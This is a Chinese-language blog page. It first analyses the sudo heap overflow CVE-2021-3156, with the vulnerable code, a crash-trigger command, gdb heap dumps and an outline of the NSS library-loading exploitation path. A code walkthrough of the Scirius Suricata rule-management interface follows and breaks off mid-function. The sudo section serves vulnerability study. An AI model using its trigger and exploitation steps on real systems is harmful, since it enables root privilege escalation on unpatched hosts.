0%

漏洞原理

  1. 如果sudo时添加了-s参数,则会调用到sudoers_policy_main()函数中的set_cmnd(),该函数会根据参数计算size并调用malloc申请size大小的堆空间user_args,然后判断是否设置了MODE_SHELL,如果是,则会连接命令行参数存入堆空间user_args。在这个函数中如果from[0]是反斜杠,from[1]则会满足以下条件

    1
    2
    3
    if (from[0] == '\\' && !isspace((unsigned char)from[1]));
    from++;
    *to++ = *from++;
  2. 此时from++,from指向null,而执行to++ = from++时指向反斜杠后面的第一个字符,这样导致原来应该拷贝反斜杠以及之前字符串的,现在拷贝了反斜扛后面的参数,那么导致之前计算的size大小不正确导致了溢出。

  3. 不过set_cmnd()函数触发前会判断是否启用了 MODE_SHELL 和 MODE_RUN、MODE_EDIT、MODE_CHECK 中的一个,但是如果启用了MODE_SHELL,sudo在运行时main()函数会先调用parse_args(),该函数会连接所有命令行参数,并用反斜杠来编码所有元字符覆盖argv(即将\转义为\)。这会导致漏洞无法触发

  4. 所以我们使用sudoedit,因为如果使用 sudoedit,还是会利用软链接使用 sudo命令,而在 parse_args()函数中会自动设置 MODE_EDIT且不会重置 valid_flags(默认是含有MODE_SHELL的),而且不会设置 MODE_RUN,这样就能跳过 parse_args()函数中转义参数的部分,同时满足 set_cmnd()函数中漏洞触发的部分。

漏洞验证

编译

1
2
3
4
5
6
7
8
9
10

wget https://github.com/sudo-project/sudo/archive/SUDO_1_9_5p1.tar.gz

tar xf sudo-SUDO_1_9_5p1.tar.gz
cd sudo-SUDO_1_9_5p1/
mkdir build
cd build/
../configure --enable-env-debug
make -j CFLAGS="-g -O0"
sudo make install

调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
gdb --args sudoedit -s '\' `perl -e 'print "A" x 65536'`

pwndbg> b ../../../plugins/sudoers/sudoers.c:964
pwndbg> b ../../../plugins/sudoers/sudoers.c:978
pwndbg> r

In file: /ctf/work/sudo-SUDO_1_9_5p1/plugins/sudoers/sudoers.c
965 /*
966 * When running a command via a shell, the sudo front-end
967 * escapes potential meta chars. We unescape non-spaces
968 * for sudoers matching and logging purposes.
969 */
► 970 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
971 while (*from) {
972 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
973 from++;
974 *to++ = *from++;
975 }
pwndbg> p NewArgv[0]
$18 = 0x564580b0ee4e "sudoedit"
pwndbg> p NewArgv[1]
$19 = 0x7ffe19cd2536 "\\"
pwndbg> p NewArgv[2]
$20 = 0x7ffe19cd2538 "112233445566"
//处理NewArgv[1]时进入if (from[0] == '\\' && !isspace((unsigned char)from[1]))的判断语句,执行from++;*to++ = *from++;导致本来应该拷贝NewArgv[1],但是实际拷贝了NewArgv[2]
pwndbg> p to
$1 = 0x5648fc1bdac0 "\340\v1w3\177"
//预期应该拷贝NewArgv[1]和NewArgv[2],组成\ 112233445566,但是由于该漏洞NewArgv[2]被拷贝了两次
//user_args被覆盖前
pwndbg> x/10gx 0x56458187aab0
0x56458187aab0: 0x0000000000000000 0x0000000000000021
0x56458187aac0: 0x00007fbc8f313100 0x00007fbc8f7fdbe0
0x56458187aad0: 0x0000000000000000 0x0000000000000c91
0x56458187aae0: 0x00007fbc8f7fdbe0 0x00007fbc8f7fdbe0
0x56458187aaf0: 0x0000000000000000 0x0000000000000000

//user_args被覆盖后
pwndbg> x/10gx 0x56458187aab0
0x56458187aab0: 0x0000000000000000 0x0000000000000021
0x56458187aac0: 0x3433333232313100 0x3131203636353534
0x56458187aad0: 0x3535343433333232 0x0000000000203636
0x56458187aae0: 0x00007fbc8f7fdbe0 0x00007fbc8f7fdbe0
0x56458187aaf0: 0x0000000000000000 0x0000000000000000

可以看到下一个chunk的size被覆盖了。

漏洞利用

重写模块加载接口参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
```
当ni->library == NULL时,会触发第351行的dlopen加载一个以”libnss“开头,”.so.2”结尾的动态库。动态库的完整值取决于ni->name的值。我们只要覆盖ni->library和ni->name即可让程序加载我们自己定义的so。但是由于nss_load_library发生在set_cmnd之前,且偏移较远比较难覆盖。

不过我们可以先通过setlocale的方法malloc一些内存,当free以后,set_cmnd以及nss_load_bibrary会申请到这些内存地址,这时在进行漏洞的利用即可覆盖掉ni->library和ni->name从而加载我们自定义的so

调试
```bash
pwndbg> b ../../../plugins/sudoers/sudoers.c:964
Breakpoint 1 at 0x7f6e7a79f0db: file ../../../plugins/sudoers/sudoers.c, line 964.
pwndbg> b nss_load_library
Breakpoint 2 at 0x7f6e7af564c0: file nsswitch.c, line 329.

pwndbg> r -s xxxxxx\\ xxxxxxxxxxxxx
执行cmnd_status = set_cmnd();前
pwndbg> heapbase
heapbase : 0x561f576d9000

pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x561f576ef830 (size : 0xa7d0)
last_remainder: 0x561f576e7bf0 (size : 0xc90)
unsortbin: 0x561f576e7bf0 (size : 0xc90)
largebin[48]: 0x561f576ec9b0 (size : 0x2d20)
largebin[50]: 0x561f576e88d0 (size : 0x4010)
(0x80) tcache_entry[6](1): 0x561f576ec940
(0xd0) tcache_entry[11](1): 0x561f576dcc20
(0x110) tcache_entry[15](1): 0x561f576ef6e0
(0x1e0) tcache_entry[28](1): 0x561f576e76a0
(0x3b0) tcache_entry[57](1): 0x561f576dcd30
执行cmnd_status = set_cmnd();后

pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x561f576ef830 (size : 0xa7d0)
last_remainder: 0x561f576e7bf0 (size : 0x7878787878787878)
unsortbin: 0x561f576e7bf0 (invaild memory)
largebin[48]: 0x561f576ec9b0 (size : 0x2d20)
largebin[50]: 0x561f576e88d0 (size : 0x4010)
(0x80) tcache_entry[6](1): 0x561f576ec940
(0xd0) tcache_entry[11](1): 0x561f576dcc20
(0x110) tcache_entry[15](1): 0x561f576ef6e0
(0x1e0) tcache_entry[28](1): 0x561f576e76a0
(0x3b0) tcache_entry[57](1): 0x561f576dcd30

pwndbg> p __nss_group_database
$3 = (service_user *) 0x561f576daee0
pwndbg> p sudo_user.cmnd_args
$4 = 0x561f576e7be0 "xxxxxx"
pwndbg> chunkptr __nss_group_database
==================================
Chunk info
==================================
Status : Used
Freeable : True
prev_size : 0x70756f7267
size : 0x40
prev_inused : 1
is_mmap : 0
non_mainarea : 0
pwndbg> chunkptr sudo_user.cmnd_args
==================================
Chunk info
==================================
Status : Freed
Unlinkable : False (FD or BK is corruption)
Can't access memory
prev_size : 0x0
size : 0x20
prev_inused : 1
is_mmap : 0
non_mainarea : 0
fd : 0x7800787878787878
bk : 0x7878787878787878

根据以上信息我们可以得出一下结论
sudo_user.cmnd_args的地址(0x561f576e7be0)高于nss_group_database的地址(0x561f576daee0),所以cmnd_args溢出的话没法覆盖nss_group_database的地址

但是在qualys提供的exp思路里我们知道可以调用setlocale这个函数(设置LC_*环境变量)的方式来修改sudo的内存结构

1
2
3
4
5
6
7
8
9
10
pwndbg> set env LC_ALL=en_US.UTF-8@xxxxxxxxxxxxx
pwndbg> r -s 'xxxxxx' 'x' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\'
pwndbg> b set_cmnd
pwndbg> b nss_load_library
pwndbg> b ../../../plugins/sudoers/sudoers.c:885
执行完
pwndbg> p __nss_group_database
$1 = (service_user *) 0x55da3e0b38e0
pwndbg> p sudo_user.cmnd_args
$2 = 0x55da3e0b37c0 "xxxxxx x "

此时sudo_user.cmnd_args的地址低于nss_group_database的地址,可以利用溢出覆盖掉nss_group_database结构,我们再修改一下传入的参数试试

ref

https://packetstormsecurity.com/files/161160/Sudo-Heap-Based-Buffer-Overflow.html
https://www.anquanke.com/post/id/231420#h2-7
https://bbs.pediy.com/thread-265669.htm
https://bestwing.me/CVE-2021-3156-analysis..html
https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
https://www.kalmarunionen.dk/writeups/sudo/
https://www.anquanke.com/post/id/231077

scirius

scirius介绍

scirius为suricata提供了一个web,用来管理规则以及处理告警,我们分析一下他是如何实现的。

先分析主目录的views.py

定义了重定向到kinaba、evebox、moloch的路由,没什么关键函数。我们主要关心的是hunt和manage。

rules

看一下rules目录下的views.py

访问manage页面,主要实现了两个功能

  • suricata状态监控,配置
  • rule管理
    我们看一下是如何实现的?
    抓包发现前端会不断请求以下路径

status_update

用来获取suricata状态的info路径对应函数如下

rules/views.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
PROBE = __import__(settings.RULESET_MIDDLEWARE)
def info(request):
data = {'status': 'green'}
if request.GET.__contains__('query'):
info = PROBE.common.Info()
query = request.GET.get('query', 'status')
if query == 'status':
data = {'running': info.status()}
elif query == 'disk':
data = info.disk()
elif query == 'memory':
data = info.memory()
elif query == 'used_memory':
data = info.used_memory()
elif query == 'cpu':
data = info.cpu()
return JsonResponse(data, safe=False)

#在settings.py里可以看到RULESET_MIDDLEWARE='suricata',所以PROBE相当于__import__(settings.suricata),动态加载了suricata。而suricata/common.py如下
import psutil
from rest_framework import serializers

from django.conf import settings


if settings.SURICATA_UNIX_SOCKET:
try:
import suricatasc
except:
settings.SURICATA_UNIX_SOCKET = None


class Info():
def status(self):
suri_running = 'danger'
# 判断suricata是否运行则有两种方式,如果配置了suricata_unix_socket则调用suricatasc并发送uptime来判断。
if settings.SURICATA_UNIX_SOCKET:
sc = suricatasc.SuricataSC(settings.SURICATA_UNIX_SOCKET)
try:
sc.connect()
except:
return 'danger'
res = sc.send_command('uptime', None)
if res['return'] == 'OK':
suri_running = 'success'
sc.close()
# 如果没有配置SURICATA_UNIX_SOCKET则调用psutil.process_iter()来判断是否存在Suricata-Main来实现
else:
for proc in psutil.process_iter():
try:
pinfo = proc.as_dict(attrs=['name'])
except psutil.NoSuchProcess:
pass
else:
if pinfo['name'] == 'Suricata-Main':
suri_running = 'success'
break
return suri_running
#可以看到该函数调用psutil获取cpu/disk/mem状态
def disk(self):
return psutil.disk_usage('/')

def memory(self):
return psutil.virtual_memory()

def used_memory(self):
mem = psutil.virtual_memory()
return round(mem.used * 100. / mem.total, 1)

def cpu(self):
return psutil.cpu_percent(interval=0.2)

suricatasc可以实时和suricata进程进行交互

接下来看一下核心功能之一-规则的管理,先大概了解一下功能

  • /rules/source可以看到规则源
  • /rules/source/add_public可以增加公共规则源
  • /rules/source/add可以编辑自定义规则源
  • /rules/ruleset/add可以新增规则集
  • /rules/ruleset/n/update可以更新规则集
  • /rules/ruleset/n/copy可以复制规则集
  • /rules/ruleset/n/delete可以删除规则集
  • /rules/ruleset/n/edit可以编辑规则集
  • /rules/ruleset/1/edit?mode=sources可以启用/禁用source
  • /rules/ruleset/1/edit?mode=categories可以启用/禁用categories
  • /rules/ruleset/1/addsupprule可以禁用某条rule
  • /rules/ruleset/1/edit?mode=rules可以恢复某条被禁用的rule
  • /rules/category/n/可以查看category
  • /rules/category/n/enable可以启用category
  • /rules/category/n/disable可以禁用category
  • /rules/category/n/transform
  • /rules/rule/pk/n/可以查看rule的定义
  • /rules/rule/pk/n/disable可以禁用rule
  • /rules/rule/pk/n/enable可以启用rule
  • /rules/rule/n/edit
  • /rules/rule/n/disable
  • /rules/rule/n/enable
  • /rules/rule/n/threshold?action=threshold为规则增加触发的阀值
  • /rules/rule/n/threshold?action=suppress过滤某ip触发改规则

    页面如下

edit_ruleset
edit_categories
edit_rule

/rules/ruleset 列出ruleset规则集

/rules/ruleset页面代码如下

1
2
3
4
5
6
7
8
9
10
11
12
# Create your views here.
def index(request):
# Ruleset.objects.all()获取已创建的ruleset,并返回给index.html模板
ruleset_list = Ruleset.objects.all().order_by('-created_date')[:5]
source_list = Source.objects.all().order_by('-created_date')[:5]
context = {'ruleset_list': ruleset_list,
'source_list': source_list}
try:
context['probes'] = ['"' + x + '"' for x in PROBE.models.get_probe_hostnames()]
except:
pass
return scirius_render(request, 'rules/index.html', context)

页面如下
ruleset_action

/rules/source 列出规则源

/rules/source页面代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def sources(request):
from scirius.utils import get_middleware_module
# 调用scirius.utils里的get_middleware_module函数
sources = get_middleware_module('common').get_sources().order_by('name')

for source_ in sources:
if source_.cats_count == 0:
source_.build_counters()

context = {'sources': sources}
print(context)
return scirius_render(request, 'rules/sources.html', context)
# 可以看到get_middleware_module用来import_module
def get_middleware_module(module):
return import_module('%s.%s' % (settings.RULESET_MIDDLEWARE, module))
# setting中RULESET_MIDDLEWARE值为suricata
RULESET_MIDDLEWARE = 'suricata'
# suricata下common.py里get_sources如下
def get_sources():
from rules.models import Source
return Source.objects.all()

最后获取了Source.objects.all()

页面如下

source_manage

/rules/source/add_public增加公共规则源

/rules/source/add_public页面代码及分析如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
def add_public_source(request):
# 鉴权
if not request.user.is_staff:
return scirius_render(request, 'rules/add_public_source.html', {'error': 'Unsufficient permissions'})

try:
# 调用get_public_sources()
public_sources = get_public_sources()
except Exception as e:
return scirius_render(request, 'rules/add_public_source.html', {'error': e})

if request.is_ajax():
return JsonResponse(public_sources['sources'])
# 当enable一个public source时,会post一个forms
if request.method == 'POST':
# 会创建一个AddPublicSourceForm实例
form = AddPublicSourceForm(request.POST)
if form.is_valid():
source_id = form.cleaned_data['source_id']
source = public_sources['sources'][source_id]
source_uri = source['url']
params = {"__version__": "5.0"}
if 'secret_code' in form.cleaned_data:
params.update({'secret-code': form.cleaned_data['secret_code']})
# uri与secret_code拼接
source_uri = source_uri % params
# 数据库Source表中增加一个对象,Source.objects.create时会触发很多其他的函数
try:
src = Source.objects.create(
name=form.cleaned_data['name'],
uri=source_uri,
method='http',
created_date=timezone.now(),
datatype=source['datatype'],
cert_verif=True,
public_source=source_id,
use_iprep=form.cleaned_data['use_iprep']
)
except IntegrityError as error:
return scirius_render(request, 'rules/add_public_source.html', {'form': form, 'error': error})
# 如果指定了ruleset,则更新ruleset增加一个源
try:
ruleset_list = form.cleaned_data['rulesets']
except:
ruleset_list = []
rulesets = [ruleset.pk for ruleset in ruleset_list]
if len(ruleset_list):
for ruleset in ruleset_list:
UserAction.create(
action_type='create_source',
comment=form.cleaned_data['comment'],
user=request.user,
source=src,
ruleset=ruleset
)
else:
UserAction.create(
action_type='create_source',
comment=form.cleaned_data['comment'],
user=request.user,
source=src,
ruleset='No Ruleset'
)
ruleset_list = ['"' + ruleset.name + '"' for ruleset in ruleset_list]
# 最后返回add_public_source.html模板,而add_public_source.html模板中会判断update是否为True,如果为True则include "rules/import_and_add_source.html",在import_and_add_source.html中会调用update_activate_source这个函数,在后面看一下这个函数的功能
return scirius_render(
request,
'rules/add_public_source.html',
{'source': src, 'update': True, 'rulesets': rulesets, 'ruleset_list': ruleset_list}
)
else:
return scirius_render(
request,
'rules/add_public_source.html',
{'form': form, 'error': 'form is not valid'}
)
# 如果不是post请求,则会把source.yaml中解析出来的sources和Ruleset.objects.all()作为参数传递给add_public_source.html模板
rulesets = Ruleset.objects.all()
return scirius_render(
request,
'rules/add_public_source.html',
{'sources': public_sources['sources'], 'rulesets': rulesets}
)


def get_public_sources(force_fetch=True):
# 路径拼接,找到git-sources文件夹下的sources.yaml
sources_yaml = os.path.join(settings.GIT_SOURCES_BASE_DIRECTORY, 'sources.yaml')
# 如果sources.yaml不存在则调用fetch_public_sources()
if not os.path.exists(sources_yaml) or force_fetch is True:
try:
fetch_public_sources()
except Exception as e:
raise Exception(e)

public_sources = None
# 读取sources.yaml文件
with open(sources_yaml, 'r', encoding='utf-8') as stream:
buf = stream.read()
# replace dash by underscode in keys
yaml_data = re.sub(r'(\s+\w+)-(\w+):', r'\1_\2:', buf)
# FIXME error handling

public_sources = yaml.safe_load(yaml_data)

if public_sources['version'] != 1:
raise Exception("Unsupported version of sources definition")

# get list of already defined public sources
# 获取已经定义了的public sources
defined_pub_source = Source.objects.exclude(public_source__isnull=True)
# 列表表达式获取已经存在在数据库里的源
added_sources = [x.public_source for x in defined_pub_source]

for source_ in public_sources['sources']:
if 'support_url' in public_sources['sources'][source_]:
public_sources['sources'][source_]['support_url_cleaned'] = public_sources['sources'][source_]['support_url'].split(' ')[0]
if 'subscribe_url' in public_sources['sources'][source_]:
public_sources['sources'][source_]['subscribe_url_cleaned'] = public_sources['sources'][source_]['subscribe_url'].split(' ')[0]
if public_sources['sources'][source_]['url'].endswith('.rules'):
public_sources['sources'][source_]['datatype'] = 'sig'
elif public_sources['sources'][source_]['url'].endswith('z'):
public_sources['sources'][source_]['datatype'] = 'sigs'
else:
public_sources['sources'][source_]['datatype'] = 'other'
#这里做了判断,如果这个源已经在Source里了,则设置added标签为True
if source_ in added_sources:
public_sources['sources'][source_]['added'] = True
else:
public_sources['sources'][source_]['added'] = False

return public_sources


def fetch_public_sources():
#翻看rules的model可以看到SystemSettings这个class,其中有use_http_proxy,http_proxy,https_proxy,use_elasticsearch,custom_elasticsearch,elasticsearch_url这几个字段,而get_proxy_params这个函数是用来获取http/https proxy的,但是程序没有直接调用SystemSettings,而是调用get_system_settings(),在这个函数里面会去判断SystemSettings.objects.all()是否存在,如果不存在则创建一个默认的配置
proxy_params = get_system_settings().get_proxy_params()
try:
hdrs = {'User-Agent': 'scirius'}
# 可以看到程序会从https://www.openinfosecfoundation.org/rules/index.yaml这个网站去获取sources.yaml
if proxy_params:
resp = requests.get(settings.DEFAULT_SOURCE_INDEX_URL, proxies=proxy_params, headers=hdrs)
else:
resp = requests.get(settings.DEFAULT_SOURCE_INDEX_URL, headers=hdrs)
resp.raise_for_status()
except requests.exceptions.ConnectionError as e:
if "Name or service not known" in str(e):
raise IOError("Connection error 'Name or service not known'")
elif "Connection timed out" in str(e):
raise IOError("Connection error 'Connection timed out'")
else:
raise IOError("Connection error '%s'" % (e))
except requests.exceptions.HTTPError:
if resp.status_code == 404:
raise IOError("URL not found on server (error 404), please check URL")
raise IOError("HTTP error %d sent by server, please check URL or server" % (resp.status_code))
except requests.exceptions.Timeout:
raise IOError("Request timeout, server may be down")
except requests.exceptions.TooManyRedirects:
raise IOError("Too many redirects, server may be broken")
# 把获取到的yaml文件复制成yaml
# store as sources.yaml
if not os.path.isdir(settings.GIT_SOURCES_BASE_DIRECTORY):
os.makedirs(settings.GIT_SOURCES_BASE_DIRECTORY)
sources_yaml = os.path.join(settings.GIT_SOURCES_BASE_DIRECTORY, 'sources.yaml')
with open(sources_yaml, 'wb') as sfile:
sfile.write(resp.content)


def update_source(request, source_id):
src = get_object_or_404(Source, pk=source_id)
if not request.user.is_staff:
return redirect(src)

if request.method != 'POST': # If the form has been submitted...
if request.is_ajax():
data = {}
data['status'] = False
data['errors'] = "Invalid method for page"
return JsonResponse(data)
return source(request, source_id, error="Invalid method for page")
try:
if hasattr(PROBE.common, 'update_source'):

return PROBE.common.update_source(request, src)
# 调用Source的update方法,判断是否是first import 如果是的话就设置firstimport = True具体函数可以去models里看。
src.update()
# 如果update失败则返回error和status为false
except Exception as errors:
if request.is_ajax():
data = {}
data['status'] = False
data['errors'] = str(errors)
return JsonResponse(data)
if isinstance(errors, (IOError, OSError)):
_msg = 'Can not fetch data'
elif isinstance(errors, ValidationError):
_msg = 'Source is invalid'
elif isinstance(errors, SuspiciousOperation):
_msg = 'Source is not correct'
else:
_msg = 'Error updating source'
msg = '%s: %s' % (_msg, errors)
return source(request, source_id, error=msg)

if request.is_ajax():
data = {}
data['status'] = True
data['redirect'] = True
return JsonResponse(data)
supdate = SourceUpdate.objects.filter(source=src).order_by('-created_date')
if len(supdate) == 0:
return redirect(src)

return redirect('changelog_source', source_id=source_id)


def test_source(request, source_id):
print("test_source")
source = get_object_or_404(Source, pk=source_id)
# models里test函数如下
sourceatversion = get_object_or_404(SourceAtVersion, source=source, version='HEAD')
return JsonResponse(sourceatversion.test())


#models.py
class Source(models.Model):
TMP_DIR = "/tmp/"
@transaction.atomic
def update(self):
# look for categories list: if none, first import
categories = Category.objects.filter(source=self)
firstimport = False
if not categories:
firstimport = True

if self.method not in ['http', 'local']:
raise FieldError("Currently unsupported method")


def __init__(self, *args, **kwargs):
models.Model.__init__(self, *args, **kwargs)
if (self.method == 'http'):
self.update_ruleset = self.update_ruleset_http
else:
self.update_ruleset = None
self.first_run = False
self.updated_rules = {"added": [], "deleted": [], "updated": []}
if len(Flowbit.objects.filter(source=self)) == 0:
self.init_flowbits = True
else:
self.init_flowbits = False

from scirius.utils import get_middleware_module
self.custom_data_type = get_middleware_module('common').custom_source_datatype()

need_update = False
#调用update_ruleset,update_ruleset=update_ruleset_http
if self.update_ruleset:
# 生成规则的临时文件
f = tempfile.NamedTemporaryFile(dir=self.TMP_DIR)
need_update = self.update_ruleset(f)

if need_update:
# 调用不同的函数来处理规则文件,
if self.datatype == 'sigs':
self.handle_rules_in_tar(f)
elif self.datatype == 'sig':
# handle_rules_file里面会调用get_categories,借着会调用get_rules,如果rule不存在则新建rule
self.handle_rules_file(f)
elif self.datatype == 'other':
self.handle_other_file(f)
elif self.datatype == 'b64dataset':
self.handle_b64dataset(f)

if self.datatype in self.custom_data_type:
self.handle_custom_file(f)

if need_update:
if self.datatype in ('sig', 'sigs') and not firstimport:
#调用create_update()记录更新的内容
self.create_update()

if self.datatype in self.custom_data_type:
from scirius.utils import get_middleware_module
source_path = os.path.join(settings.GIT_SOURCES_BASE_DIRECTORY, str(self.pk), 'rules')
get_middleware_module('common').update_custom_source(source_path)

for rule in self.updated_rules["deleted"]:
rule.delete()
self.needs_test()


def handle_rules_file(self, f):
f.seek(0)
if (tarfile.is_tarfile(f.name)):
raise OSError("This is a tar file and not a individual signature file, please select another category")
f.seek(0)

self.updated_date = timezone.now()
self.first_run = False
repo = self.get_git_repo(delete=True)
rules_dir = os.path.join(settings.GIT_SOURCES_BASE_DIRECTORY, str(self.pk), 'rules')

# create rules dir if needed
if not os.path.isdir(rules_dir):
os.makedirs(rules_dir)

# copy file content to target
f.seek(0)
os.fsync(f)
shutil.copy(f.name, os.path.join(rules_dir, 'sigs.rules'))

index = repo.index
if len(index.diff(None)) or self.first_run:
os.environ['USERNAME'] = 'scirius'
index.add(["rules"])
message = 'source version at %s' % (self.updated_date)
index.commit(message)

self.save()

# Now we must update SourceAtVersion for this source
# or create it if needed
# 更新source ersion
self.create_sourceatversion()
# category based on filename
category = Category.objects.filter(source=self, name=('%s Sigs' % (self.name))[:100])
if not category:
# 如果category不存在,则新建category
category = Category.objects.create(
source=self,
name=('%s Sigs' % (self.name))[:100],
created_date=timezone.now(),
filename=os.path.join('rules', 'sigs.rules')
)
# 调用get_rules函数
category.get_rules(self)
else:
category = category[0]

category.get_rules(self)
if len(Rule.objects.filter(category=category)) == 0:
category.delete()
raise ValidationError('The source %s contains no valid signature' % self.name)


def get_rules(self, source, existing_rules_hash=None):
# parse file
# return an object with updates
getsid = re.compile(r"sid *: *(\d+)")
getrev = re.compile(r"rev *: *(\d+)")
getmsg = re.compile(r"msg *: *\"(.*?)\"")
source_git_dir = os.path.join(settings.GIT_SOURCES_BASE_DIRECTORY, str(self.source.pk))
rfile = open(os.path.join(source_git_dir, self.filename))

rules_update = {"added": [], "deleted": [], "updated": []}
rules_unchanged = []
# existing_rules_hash字典,把所有sid和rule对象对应起来
if existing_rules_hash is None:
existing_rules_hash = {}
for rule in Rule.objects.all().prefetch_related('category'):
existing_rules_hash[rule.sid] = rule

rules_list = []
# 把指定category的rule给遍历出来
for rule in Rule.objects.filter(category=self):
rules_list.append(rule)

flowbits = {'added': {'flowbit': [], 'through_set': [], 'through_isset': []}}
existing_flowbits = Flowbit.objects.all().order_by('-pk')
if len(existing_flowbits):
flowbits['last_pk'] = existing_flowbits[0].pk
else:
flowbits['last_pk'] = 1
for key in ('flowbits', 'hostbits', 'xbits'):
flowbits[key] = {}
for flowb in Flowbit.objects.filter(source=source, type=key):
flowbits[key][flowb.name] = flowb

creation_date = timezone.now()

rules_groups = {}
if source.use_iprep:
rules_groups = self.build_sigs_group()

with transaction.atomic():
duplicate_source = set()
duplicate_sids = set()
# 打开rule文件,并通过正则找出rev,sid,msg字段
for line in rfile.readlines():
state = True
if line.startswith('#'):
# check if it is a commented signature
if "->" in line and "sid" in line and ")" in line:
line = line.lstrip("# ")
state = False
else:
continue
match = getsid.search(line)
if not match:
continue
sid = match.groups()[0]
match = getrev.search(line)
if match:
rev = int(match.groups()[0])
else:
rev = None
match = getmsg.search(line)
if not match:
msg = ""
else:
msg = match.groups()[0]
# 调用add_group_signature函数处理每一行规则,而该函数调用rule_idstools.parse来解析规则
if source.use_iprep and Rule.GROUPSNAMEREGEXP.match(msg):
self.add_group_signature(rules_groups, line, existing_rules_hash, source, flowbits, rules_update, rules_unchanged)
else:
if int(sid) in existing_rules_hash:
# FIXME update references if needed
rule = existing_rules_hash[int(sid)]
if rule.category.source != source:
source_name = rule.category.source.name
duplicate_source.add(source_name)
duplicate_sids.add(sid)
if len(duplicate_sids) == 20:
break
continue
if rev is None or rule.rev < rev or rule.group is True:
rule.content = line
if rev is None:
rule.rev = 0
else:
rule.rev = rev
if rule.category != self:
rule.category = self
rule.msg = msg
rules_update["updated"].append(rule)
rule.updated_date = creation_date
# 这个函数会利用rule_idstools的parse函数解析rule.content,并且为rule.sid,rule.rev.rule.msg等属性赋值
rule.parse_metadata()
# 最后save
rule.save()
rule.parse_flowbits(source, flowbits)
else:
rules_unchanged.append(rule)
else:
if rev is None:
rev = 0
rule = Rule(
category=self,
sid=sid,
rev=rev,
content=line,
msg=msg,
state_in_source=state,
state=state,
imported_date=creation_date,
updated_date=creation_date
)
rule.parse_metadata()
rules_update["added"].append(rule)
rule.parse_flowbits(source, flowbits, addition=True)

if len(duplicate_sids):
sids = sorted(duplicate_sids)
if len(sids) == 20:
sids += '...'
sids = ', '.join(sids)
source_name = ', '.join(sorted(duplicate_source))

raise ValidationError('The source contains conflicting SID (%s) with other sources (%s)' % (sids, source_name))

if len(rules_update["added"]):
Rule.objects.bulk_create(rules_update["added"])
if len(rules_groups):
for rule in rules_groups:
# If IP list is empty it will be deleted because it has not
